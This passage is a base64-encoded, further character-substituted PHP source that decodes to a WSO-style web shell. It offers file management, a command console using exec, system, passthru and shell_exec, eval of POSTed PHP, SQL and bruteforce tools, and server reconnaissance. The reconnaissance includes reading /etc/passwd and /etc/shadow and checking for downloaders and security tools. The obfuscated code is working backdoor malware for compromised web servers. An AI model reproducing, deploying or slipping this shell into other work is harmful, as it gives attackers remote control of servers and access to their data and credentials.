JuNTsnPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cG8+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0Pg0KPC9mMnJtPiI7DQoJJGZyNTVTcDFjNSA9IEBkNHNrZnI1NXNwMWM1KCRHTE9CQUxTWydjd2QnXSk7DQoJJHQydDFsU3AxYzUgPSBAZDRza190MnQxbF9zcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsNCgkkcjVsNTFzNSA9IEBwaHBfM24xbTUoJ3InKTsNCgkkazVybjVsID0gQHBocF8zbjFtNSgncycpOw0KCSQ1eHBsNG5rID0gJ2h0dHA6Ly81eHBsMjR0LWRiLmMybS9sNHN0LnBocD9kNXNjcjRwdDQybj0nOw0KCTRmKHN0cnAycygnTDRuM3gnLCAkazVybjVsKSAhPT0gZjFsczUpDQoJCSQ1eHBsNG5rIC49IDNybDVuYzJkNSgnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSk7DQoJNWxzNQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJGs1cm41bCAuICcgJyAuIHMzYnN0cigkcjVsNTFzNSwwLG8pKTsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIHsNCgkJJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KCQkkMzRkID0gQGc1dG15MzRkKCk7DQoJCSRnNGQgPSBAZzV0bXlnNGQoKTsNCgkJJGdyMjNwID0gIj8iOw0KCX0gNWxzNSB7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1ciA9ICQzNGRbJ24xbTUnXTsNCgkJJDM0ZCA9ICQzNGRbJzM0ZCddOw0KCQkkZ3IyM3AgPSAkZzRkWyduMW01J107DQoJCSRnNGQgPSAkZzRkWydnNGQnXTsNCgl9DQoNCgkkY3dkX2w0bmtzID0gJyc7DQoJJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkkbj1jMjNudCgkcDF0aCk7DQoJZjJyKCQ0PTA7ICQ0PCRuLTY7ICQ0KyspIHsNCgkJJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOw0KCQlmMnIoJGo9MDsgJGo8PSQ0OyAkaisrKQ0KCQkJJGN3ZF9sNG5rcyAuPSAkcDF0aFskal0uJy8nOw0KCQkkY3dkX2w0bmtzIC49ICJcIiknPiIuJHAxdGhbJDRdLiIvPC8xPiI7DQoJfQ0KDQoJJGNoMXJzNXRzID0gMXJyMXkoJ1VURi04JywgJ1c0bmQyd3MtNmFpNicsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwOGVlJyk7DQoJJDJwdF9jaDFyczV0cyA9ICcnOw0KCWYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KCQkkMnB0X2NoMXJzNXRzIC49ICc8MnB0NDJuIHYxbDM1PSInLiQ0dDVtLiciICcuKCRfUE9TVFsnY2gxcnM1dCddPT0kNHQ1bT8nczVsNWN0NWQnOicnKS4nPicuJDR0NW0uJzwvMnB0NDJuPic7DQoNCgkkbSA9IDFycjF5KCdTNWMuIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnQzJuczJsNSc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTMWY1IG0yZDUnPT4nUzFmNU0yZDUnLCdTdHI0bmcgdDIybHMnPT4nU3RyNG5nVDIybHMnLCdCcjN0NWYycmM1Jz0+J0JyM3Q1ZjJyYzUnLCdONXR3MnJrJz0+J041dHcycmsnKTsNCgk0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkNCgkJJG1bJ0wyZzIzdCddID0gJ0wyZzIzdCc7DQoJJG1bJ1M1bGYgcjVtMnY1J10gPSAnUzVsZlI1bTJ2NSc7DQoJJG01bjMgPSAnJzsNCglmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KCQkkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KDQoJJGRyNHY1cyA9ICIiOw0KCTRmKCRHTE9CQUxTWycycyddID09ICd3NG4nKSB7DQoJCWYycjUxY2gocjFuZzUoJ2MnLCd6JykgMXMgJGRyNHY1KQ0KCQk0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkNCgkJCSRkcjR2NXMgLj0gJzwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJy4kZHI0djUuJzovXCcpIj5bICcuJGRyNHY1LicgXTwvMT4gJzsNCgl9DQoJNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5VbjFtNTo8YnI+VXM1cjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDo8L2YybnQ+JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPjxmMm50IGMybDJyPSJyNWQiID5EcjR2NXM6PC9mMm50Pic6JycpIC4gJzwvc3Axbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG4yYnI+JyAuIHMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkgLiAnIDwxIGhyNWY9IicgLiAkNXhwbDRuayAuICciIHQxcmc1dD1fYmwxbms+WzV4cGwyNHQtZGIuYzJtXTwvMT48L24yYnI+PGJyPicgLiAkMzRkIC4gJyAoICcgLiAkM3M1ciAuICcgKSA8c3Axbj48ZjJudCBjMmwycj0icjVkIiA+R3IyM3A6PC9mMm50Pjwvc3Axbj4gJyAuICRnNGQgLiAnICggJyAuICRncjIzcCAuICcgKTxicj4nIC4gQHBocHY1cnM0Mm4oKSAuICcgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPlMxZjUgbTJkNTo8L2YybnQ+PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+JzonPGYybnQgYzJsMnI9IzAwYmIwMD48Yj5PRkY8L2I+PC9mMm50PicpDQogICAgICAgLiAnIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnUGhwXCcsbjNsbCxcJ1wnLFwnNG5mMlwnKSI+WyBwaHA0bmYyIF08LzE+IDxzcDFuPjxmMm50IGMybDJyPSJyNWQiID5EMXQ1dDRtNTo8L2YybnQ+PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+PGYybnQgYzJsMnI9InI1ZCIgPkZyNTU6PC9mMm50Pjwvc3Axbj4gJyAuIHdzMlY0NXdTNHo1KCRmcjU1U3AxYzUpIC4gJyAoJy4gKDRudCkgKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKSAuICclKTxicj4nIC4gJGN3ZF9sNG5rcyAuICcgJy4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10pIC4gJzwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycgLiAkR0xPQkFMU1snaDJtNV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaDJtNSBdPC8xPjxicj4nIC4gJGRyNHY1cyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicgLiAkMnB0X2NoMXJzNXRzIC4gJzwvMnB0Z3IyM3A+PC9zNWw1Y3Q+PGJyPjxzcDFuPlM1cnY1ciBJUDo8L3NwMW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcDFuPkNsNDVudCBJUDo8L3NwMW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jw0KICAgICAgIC4gJzx0MWJsNSBzdHlsNT0iYjJyZDVyLXQycDphcHggczJsNGQgI29vbzsiIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlPjx0cj4nIC4gJG01bjMgLiAnPC90cj48L3QxYmw1PjxkNHYgc3R5bDU9Im0xcmc0bjppIj4nOw0KfQ0KDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7DQoJJDRzX3dyNHQxYmw1ID0gNHNfd3I0dDFibDUoJEdMT0JBTFNbJ2N3ZCddKT8iIDxmMm50IGMybDJyPScjYWlmZjAwJz4oV3I0dDUxYmw1KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPihOMnQgd3I0dDFibDUpPC9mMm50PiI7DQogICAgNWNoMiAiDQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlICBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI29vbztiMnJkNXItYjJ0dDJtOmFweCBzMmw0ZCAjb29vOyc+DQoJPHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzTTFuJyxuM2xsLCdta2Q0cicsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBkNHI6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0MybnMybDUnLG4zbGwsdGg0cy5jLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c01Bbic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIgLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuICInPg0KCQk8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQoJPC90cj48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+IjsNCn0NCg0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRncmc0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRncmc0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIHdzMkV4KCQ0bikgew0KCSQyM3QgPSAnJzsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCgkJQDV4NWMoJDRuLCQyM3QpOw0KCQkkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBwMXNzdGhyMygkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHN5c3Q1bSgkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCSQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQoJfSA1bHM1NGYgKDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCQ0biwiciIpKSkgew0KCQkkMjN0ID0gIiI7DQoJCXdoNGw1KCFAZjUyZigkZikpDQoJCQkkMjN0IC49IGZyNTFkKCRmLDYwYXUpOw0KCQlwY2wyczUoJGYpOw0KCX0NCglyNXQzcm4gJDIzdDsNCn0NCmYzbmN0NDJuIHdzMlY0NXdTNHo1KCRzKSB7DQoJNGYoJHMgPj0gNjA3bzd1NjhhdSkNCgkJcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOw0KCTVsczU0ZigkcyA+PSA2MHU4aTdlKQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwdThpN2UgKSAuICcgTUInOw0KCTVsczU0ZigkcyA+PSA2MGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwYXUgKSAuICcgS0InOw0KCTVsczUNCgkJcjV0M3JuICRzIC4gJyBCJzsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsNCgk0ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJDQgPSAncyc7DQoJNWxzNTRmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkNCA9ICdsJzsNCgk1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOw0KCTVsczU0ZiAoKCRwICYgMHhlMDAwKSA9PSAweGUwMDApJDQgPSAnYic7DQoJNWxzNTRmICgoJHAgJiAweHUwMDApID09IDB4dTAwMCkkNCA9ICdkJzsNCgk1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOw0KCTVsczU0ZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJDQgPSAncCc7DQoJNWxzNSAkNCA9ICczJzsNCgkkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwdTApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwNjApID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDB1MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwdTAwKSA/ICdTJyA6ICctJykpOw0KCSQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDBhKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwNikgPyAoKCRwICYgMHgwYTAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MGEwMCkgPyAnVCcgOiAnLScpKTsNCglyNXQzcm4gJDQ7DQp9DQoNCmYzbmN0NDJuIHdzMlA1cm1zQzJsMnIoJGYpIHsNCgk0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczU0ZiAoIUA0c193cjR0MWJsNSgkZikpDQoJCXI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+JyAuIHdzMlA1cm1zKEBmNGw1cDVybXMoJGYpKSAuICc8L2YybnQ+JzsNCgk1bHM1DQoJCXI1dDNybiAnPGYybnQgYzJsMnI9I2FpZmYwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KfQ0KDQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCJzYzFuZDRyIikpIHsNCglmM25jdDQybiBzYzFuZDRyKCRkNHIpIHsNCgkJJGRoICA9IDJwNW5kNHIoJGQ0cik7DQoJCXdoNGw1IChmMWxzNSAhPT0gKCRmNGw1bjFtNSA9IHI1MWRkNHIoJGRoKSkpDQogICAgCQkkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCgkJcjV0M3JuICRmNGw1czsNCgl9DQp9DQoNCmYzbmN0NDJuIHdzMldoNGNoKCRwKSB7DQoJJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsNCgk0ZighNW1wdHkoJHAxdGgpKQ0KCQlyNXQzcm4gJHAxdGg7DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TNWNJbmYyKCkgew0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOw0KCWYzbmN0NDJuIHdzMlM1Y1AxcjFtKCRuLCAkdikgew0KCQkkdiA9IHRyNG0oJHYpOw0KCQk0Zigkdikgew0KCQkJNWNoMiAnPHNwMW4+JyAuICRuIC4gJzogPC9zcDFuPic7DQoJCQk0ZihzdHJwMnMoJHYsICJcbiIpID09PSBmMWxzNSkNCgkJCQk1Y2gyICR2IC4gJzxicj4nOw0KCQkJNWxzNQ0KCQkJCTVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KCQl9DQoJfQ0KDQoJd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICB3czJTNWNQMXIxbSgnTDIxZDVkIEFwMWNoNSBtMmQzbDVzJywgNG1wbDJkNSgnLCAnLCAxcDFjaDVfZzV0X20yZDNsNXMoKSkpOw0KCXdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCgl3czJTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA1eDVjIGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQoJd3MyUzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KCSR0NW1wPTFycjF5KCk7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCgkJJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQoJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiTVNTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJPcjFjbDUiOw0KCXdzMlM1Y1AxcjFtKCdTM3BwMnJ0NWQgZDF0MWIxczVzJywgNG1wbDJkNSgnLCAnLCAkdDVtcCkpOw0KCTVjaDIgJzxicj4nOw0KDQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsNCgkJd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvcDFzc3dkJywgQDRzX3I1MWQxYmw1KCcvNXRjL3Axc3N3ZCcpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInAxc3N3ZFwiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQoJCXdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3NoMWQydycsIEA0c19yNTFkMWJsNSgnLzV0Yy9zaDFkMncnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiNXRjXCIsIFwic2gxZDJ3XCIpJz5bdjQ1d108LzE+IjonbjInKTsNCgkJd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQoJCXdzMlM1Y1AxcjFtKCdENHN0ciBuMW01JywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjLzRzczM1Lm41dCcpKTsNCgkJNGYoISRHTE9CQUxTWydzMWY1X20yZDUnXSkgew0KICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICAgICAkZDFuZzVyID0gMXJyMXkoJ2sxdicsJ24yZG9hJywnYmRjMnI1ZCcsJzN2c2MxbicsJ3MxdicsJ2RydzViZCcsJ2NsMW1kJywncmtoM250NXInLCdjaGtyMjJ0azR0JywnNHB0MWJsNXMnLCc0cGZ3JywndHI0cHc0cjUnLCdzaDQ1bGRjYycsJ3AycnRzNW50cnknLCdzbjJydCcsJzJzczVjJywnbDRkczFkbScsJ3RjcGwyZGcnLCdzeDRkJywnbDJnY2g1Y2snLCdsMmd3MXRjaCcsJ3N5c20xc2snLCd6bWJzYzFwJywnczF3bTRsbCcsJ3cycm1zYzFuJywnbjRuajEnKTsNCiAgICAgICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KCQkJNWNoMiAnPGJyPic7DQoJCQkkdDVtcD0xcnIxeSgpOw0KCQkJZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnVXM1cmYzbCcsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KCQkJJHQ1bXA9MXJyMXkoKTsNCgkJCWYycjUxY2ggKCRkMW5nNXIgMXMgJDR0NW0pDQoJCQkJNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQoJCQl3czJTNWNQMXIxbSgnRDFuZzVyJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQoJCQkkdDVtcD0xcnIxeSgpOw0KCQkJZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKQ0KCQkJCTRmKHdzMldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KCQkJd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQoJCQk1Y2gyICc8YnIvPic7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnSEREIHNwMWM1Jywgd3MyRXgoJ2RmIC1oJykpOw0KCQkJd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KCQl9DQoJfSA1bHM1IHsNCgkJd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7DQoJCXdzMlM1Y1AxcjFtKCdBY2MyM250IFM1dHQ0bmdzJyx3czJFeCgnbjV0IDFjYzIzbnRzJykpOw0KCQl3czJTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsd3MyRXgoJ241dCAzczVyJykpOw0KCX0NCgk1Y2gyICc8L2Q0dj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEV